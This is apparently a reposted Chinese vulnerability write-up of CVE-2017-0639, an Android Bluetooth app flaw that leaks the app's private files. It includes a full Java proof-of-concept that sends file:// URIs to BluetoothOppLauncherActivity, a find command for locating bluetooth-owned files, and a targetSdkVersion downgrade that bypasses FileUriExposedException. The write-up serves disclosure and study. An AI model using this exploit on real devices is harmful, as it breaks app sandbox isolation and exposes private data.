蓝牙App漏洞系列分析之二CVE-2017-0639

蓝牙App漏洞系列分析之二CVE-2017-0639

0x01 漏洞简介

Android本月的安全公告,修复了我们发现的另一个蓝牙App信息泄露漏洞,该漏洞允许攻击者获取 bluetooth用户所拥有的私有文件,绕过了将应用数据与其他应用隔离的操作系统防护功能。

漏洞信息如下:

  • CVE: CVE-2017-0639
  • BugID: A-35310991
  • 严重性: 高危
  • 漏洞类型: 信息泄露
  • Updated AOSP versions: 4.4.4, 5.0.2, 5.1.1, 6.0, 6.0.1, 7.0, 7.1.1, 7.1.2

0x02 漏洞缘起

在发现这个漏洞之前,我浏览了 Android 2017年2月的安全公告,其中两个并排的高危信息泄露漏洞引起了我的注意:

  • CVE-2017-0420: AOSP邮件中的信息泄露漏洞
  • CVE-2017-0414: AOSP短信中的信息泄露漏洞

查看这两个信息漏洞的补丁注释,分别为

  • Don't allow file attachment from /data through GET_CONTENT
  • Thirdparty can attach private files from "/data/data/com.android.messaging/" directory to the messaging app。

涵义非常清晰,似乎邮件和短信 App 均遗漏了对发送的文件进行验证,本地攻击者可以添加 App 私有目录的数据文件发送出去,从而破坏了 Android 沙箱所提供的应用数据相互隔离的安全防护功能。

这两个漏洞可以归纳为一类针对具有对外发送或共享功能App的攻击,Android中会不会还有类似的功能具有类似的漏洞?另外,注意到上述两个漏洞的发现者并非一人,只是巧合地同时出现在2月份的安全公告之中,发现者似乎还没有意识到这类攻击的通用性,也许真的还没有搜刮干净?

0x03 攻击面——蓝牙的信息分享

除了短信、邮件,很容易想到蓝牙也是 Android 一个很重要的信息对外发送出口。通常,我们选择一个文件的分享按钮,选择蓝牙,就可以触发蓝牙的文件发送功能,这是通过蓝牙 App 暴露的 BluetoothOppLauncherActivity 所实现。该 Activity 根据传入的 Intent.ACTION_SEND 或 Intent.ACTION_SEND_MULTIPLE ,启动一个线程处理单个文件或多个文件的对外发送。主要代码如下

           /*
             * Other application is trying to share a file via Bluetooth,
             * probably Pictures, videos, or vCards. The Intent should contain
             * an EXTRA_STREAM with the data to attach.
             */
            if (action.equals(Intent.ACTION_SEND)) {
                // TODO: handle type == null case
                final String type = intent.getType();
                final Uri stream = (Uri)intent.getParcelableExtra(Intent.EXTRA_STREAM);
                CharSequence extra_text = intent.getCharSequenceExtra(Intent.EXTRA_TEXT);
                // If we get ACTION_SEND intent with EXTRA_STREAM, we'll use the
                // uri data;
                // If we get ACTION_SEND intent without EXTRA_STREAM, but with
                // EXTRA_TEXT, we will try send this TEXT out; Currently in
                // Browser, share one link goes to this case;
                if (stream != null && type != null) {
                    if (V) Log.v(TAG, "Get ACTION_SEND intent: Uri = " + stream + "; mimetype = "
                                + type);
                    // Save type/stream, will be used when adding transfer
                    // session to DB.
                    Thread t = new Thread(new Runnable() {
                        public void run() {
                            BluetoothOppManager.getInstance(BluetoothOppLauncherActivity.this)
                                .saveSendingFileInfo(type,stream.toString(), false);
                            //Done getting file info..Launch device picker and finish this activity
                                launchDevicePicker();
                                finish();
                            }
                        });
                        t.start();
                        return;
                    } else {
                        Log.w(TAG,"Error trying to do set text...File not created!");
                        finish();
                        return;
                    }
                } else {
                    Log.e(TAG, "type is null; or sending file URI is null");
                    finish();
                    return;
                }
            } else if (action.equals(Intent.ACTION_SEND_MULTIPLE)) {
                final String mimeType = intent.getType();
                final ArrayList<Uri> uris = intent.getParcelableArrayListExtra(Intent.EXTRA_STREAM);
                if (mimeType != null && uris != null) {
                    if (V) Log.v(TAG, "Get ACTION_SHARE_MULTIPLE intent: uris " + uris + "n Type= "
                                + mimeType);
                    Thread t = new Thread(new Runnable() {
                        public void run() {
                            BluetoothOppManager.getInstance(BluetoothOppLauncherActivity.this)
                                .saveSendingFileInfo(mimeType,uris, false);
                            //Done getting file info..Launch device picker
                            //and finish this activity
                            launchDevicePicker();
                            finish();
                        }
                    });
                    t.start();

那么,传入蓝牙 App 私有数据试试!先寻找 bluetooth 所拥有的私有文件,

angler:/ # find /data -user bluetooth -exec ls -al {} ; 2>  /dev/null

可以选定两个bluetooth所拥有、有实质内容的文件作为发送对象,file:///data/user_de/0/com.android.bluetooth/databases/btopp.dbfile:///data/misc/bluedroid/bt_config.conf

很快可以写出PoC

public class MainActivity extends AppCompatActivity {
    Button m_btnSendPriv = null;
    Button m_btnSendMPriv = null;
    private final static String PRIV_FILE_URI1 = "file:///data/user_de/0/com.android.bluetooth/databases/btopp.db";
    private final static String PRIV_FILE_URI2 = "file:///data/misc/bluedroid/bt_config.conf";

    @Override
    protected void onCreate(Bundle savedInstanceState) {
        super.onCreate(savedInstanceState);
        setContentView(R.layout.activity_main);

        m_btnSendPriv = (Button)findViewById(R.id.send_private);
        m_btnSendPriv.setOnClickListener(new View.OnClickListener() {
            @Override
            public void onClick(View view) {
                Intent intent = new Intent(Intent.ACTION_SEND);
                intent.setType("text/plain");
                Uri uri = Uri.parse(PRIV_FILE_URI1);
                intent.putExtra(Intent.EXTRA_STREAM, uri);
                intent.setComponent(new ComponentName("com.android.bluetooth",
                     "com.android.bluetooth.opp.BluetoothOppLauncherActivity"));
                startActivity(intent);
            }
        });

        m_btnSendMPriv = (Button)findViewById(R.id.send_private_multiple);
        m_btnSendMPriv.setOnClickListener(new View.OnClickListener() {
            @Override
            public void onClick(View view) {
                Intent intent = new Intent(Intent.ACTION_SEND_MULTIPLE);
                intent.setType("text/plain");
                ArrayList<Uri> uris = new ArrayList<Uri>();
                uris.add(Uri.parse(PRIV_FILE_URI1));
                uris.add(Uri.parse(PRIV_FILE_URI2));
                intent.putExtra(Intent.EXTRA_STREAM, uris);
                intent.setComponent(new ComponentName("com.android.bluetooth",
                    "com.android.bluetooth.opp.BluetoothOppLauncherActivity"));
                startActivity(intent);

            }
        });
    }
}

0x04 进一步分析

真的那么简单吗?编译PoC,运行却抛出了安全异常!

--------- beginning of crash
06-12 10:32:43.930 16171 16171 E AndroidRuntime: FATAL EXCEPTION: main
06-12 10:32:43.930 16171 16171 E AndroidRuntime: Process: ms509.com.testaospbluetoothopplauncher, PID: 16171
06-12 10:32:43.930 16171 16171 E AndroidRuntime: android.os.FileUriExposedException: file:///data/user_de/0/com.android.bluetooth/databases/btopp.db exposed beyond app through ClipData.Item.getUri()
06-12 10:32:43.930 16171 16171 E AndroidRuntime:     at android.os.StrictMode.onFileUriExposed(StrictMode.java:1799)
06-12 10:32:43.930 16171 16171 E AndroidRuntime:     at android.net.Uri.checkFileUriExposed(Uri.java:2346)
06-12 10:32:43.930 16171 16171 E AndroidRuntime:     at android.content.ClipData.prepareToLeaveProcess(ClipData.java:832)
06-12 10:32:43.930 16171 16171 E AndroidRuntime:     at android.content.Intent.prepareToLeaveProcess(Intent.java:8909)
06-12 10:32:43.930 16171 16171 E AndroidRuntime:     at android.content.Intent.prepareToLeaveProcess(Intent.java:8894)
06-12 10:32:43.930 16171 16171 E AndroidRuntime:     at android.app.Instrumentation.execStartActivity(Instrumentation.java:1517)
06-12 10:32:43.930 16171 16171 E AndroidRuntime:     at android.app.Activity.startActivityForResult(Activity.java:4224)
06-12 10:32:43.930 16171 16171 E AndroidRuntime:     at android.support.v4.app.BaseFragmentActivityJB.startActivityForResult(BaseFragmentActivityJB.java:50)
06-12 10:32:43.930 16171 16171 E AndroidRuntime:     at android.support.v4.app.FragmentActivity.startActivityForResult(FragmentActivity.java:79)
06-12 10:32:43.930 16171 16171 E AndroidRuntime:     at android.app.Activity.startActivityForResult(Activity.java:4183)

原来触发了 FileUriExposed 错误,出于安全考虑,Android SDK 23 以上就不能在 Intent 中传递 file:// Uri ,见官方说明:

对于面向 Android 7.0 的应用,Android 框架执行的 StrictMode API 政策禁止在您的应用外部公开 file:// URI 。如果一项包含文件 URI 的 intent 离开您的应用,则应用出现故障,并出现 FileUriExposedException 异常。要在应用间共享文件,您应发送一项 content:// URI,并授予 URI 临时访问权限。进行此授权的最简单方式是使用 FileProvider 类。

似乎宣判了死刑!心有不甘,继续分析 BluetoothOppLauncherActivity 后面的文件处理流程,调用链为 saveSendingFileInfo--> generateFileInfo ,查看 generateFileInfo 函数,我们发现其实是支持传入 file:// URI 的。

    public static BluetoothOppSendFileInfo generateFileInfo(Context context, Uri uri,
            String type) {
        ContentResolver contentResolver = context.getContentResolver();
        String scheme = uri.getScheme();
        String fileName = null;
        String contentType;
        long length = 0;
        // Support all Uri with "content" scheme
        // This will allow more 3rd party applications to share files via
        // bluetooth
        if ("content".equals(scheme)) {
            contentType = contentResolver.getType(uri);
            Cursor metadataCursor;
            try {
                metadataCursor = contentResolver.query(uri, new String[] {
                        OpenableColumns.DISPLAY_NAME, OpenableColumns.SIZE
                }, null, null, null);
            } catch (SQLiteException e) {
                // some content providers don't support the DISPLAY_NAME or SIZE columns
                metadataCursor = null;
            } catch (SecurityException e) {
                Log.e(TAG, "generateFileInfo: Permission error, could not access URI: " + uri);
                return SEND_FILE_INFO_ERROR;
            }

            if (metadataCursor != null) {
                try {
                    if (metadataCursor.moveToFirst()) {
                        fileName = metadataCursor.getString(
                                metadataCursor.getColumnIndex(OpenableColumns.DISPLAY_NAME));
                        length = metadataCursor.getLong(
                                metadataCursor.getColumnIndex(OpenableColumns.SIZE));
                        if (D) Log.d(TAG, "fileName = " + fileName + " length = " + length);
                    }
                } finally {
                    metadataCursor.close();
                }
            }
            if (fileName == null) {
                // use last segment of URI if DISPLAY_NAME query fails
                fileName = uri.getLastPathSegment();
            }
        } else if ("file".equals(scheme)) { // Notice!!!
            fileName = uri.getLastPathSegment();
            contentType = type;
            File f = new File(uri.getPath());
            length = f.length();
        } else {
            // currently don't accept other scheme
            return SEND_FILE_INFO_ERROR;

进一步查阅相关资料发现,原来 FileUriExposed 错误只是 SDK 引入的一项安全机制,仅仅是为了防止 Intent 的接收方访问发起方的私有文件。但是在我们这种攻击场景下,我们是要 Intent 的接收方 BluetoothOppLauncherActivity 访问其自己的私有文件,而且查看上述代码,蓝牙 App 既有对 file:// URI 的支持,也缺乏对文件是否属于私有目录的验证,Why not?

既然是 SDK 23 以后引入的安全机制,那么我们把 build.gradle 中的 targetSdkVersion 从原先的25改为23,从而绕过 SDK 的检查,重新编译运行,就可以将 Bluetooth App 的私有文件通过蓝牙发送出去,而这些文件原本连用户均无法获取,这就打破了 Android 沙箱的应用间数据隔离机制。至此,大功告成!

0x05 时间线

  • 2017.02.13: 提交Google
  • 2017.03.01: 漏洞确认,初始评级为高
  • 2017.06.05: 补丁发布
  • 2017.06.12: 漏洞公开
原文地址:https://www.cnblogs.com/HacTF/p/8052238.html